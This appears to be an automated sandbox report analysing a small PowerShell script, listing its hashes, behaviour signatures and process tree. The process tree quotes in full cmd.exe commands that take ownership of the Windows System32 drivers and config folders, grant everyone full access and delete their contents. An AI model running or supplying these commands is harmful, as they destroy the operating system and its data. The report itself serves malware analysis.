Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    13-08-2024 20:52

General

  • Target

    file01.ps1

  • Size

    356B

  • MD5

    3f55ba228a7b2931005316aa0a1c05ea

  • SHA1

    2795c83876b760678379f29c9a16b502bafdfc42

  • SHA256

    6377fc50b386cf4e90f86e49e89125e01af9ac23349ee5d5ce9c49c23ad3f308

  • SHA512

    765e776d02c153b0e4817196471e429cc280e0bc06df4662825abc2d3be1fff210e5cca15580e14564e160690d81fa73f2712ee1f3dc3b3242d419c6d6bd7afb

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul && exit"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2396
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\drivers\* /grant everyone:(f)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2260
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\config\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2572
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\config\* /grant everyone:(f)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2204
  • C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T
    1⤵
      PID:1216

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2296-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

      Filesize

      4KB

    • memory/2296-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2296-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/2296-5-0x000000001B670000-0x000000001B952000-memory.dmp

      Filesize

      2.9MB

    • memory/2296-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2296-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2296-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2296-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2296-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB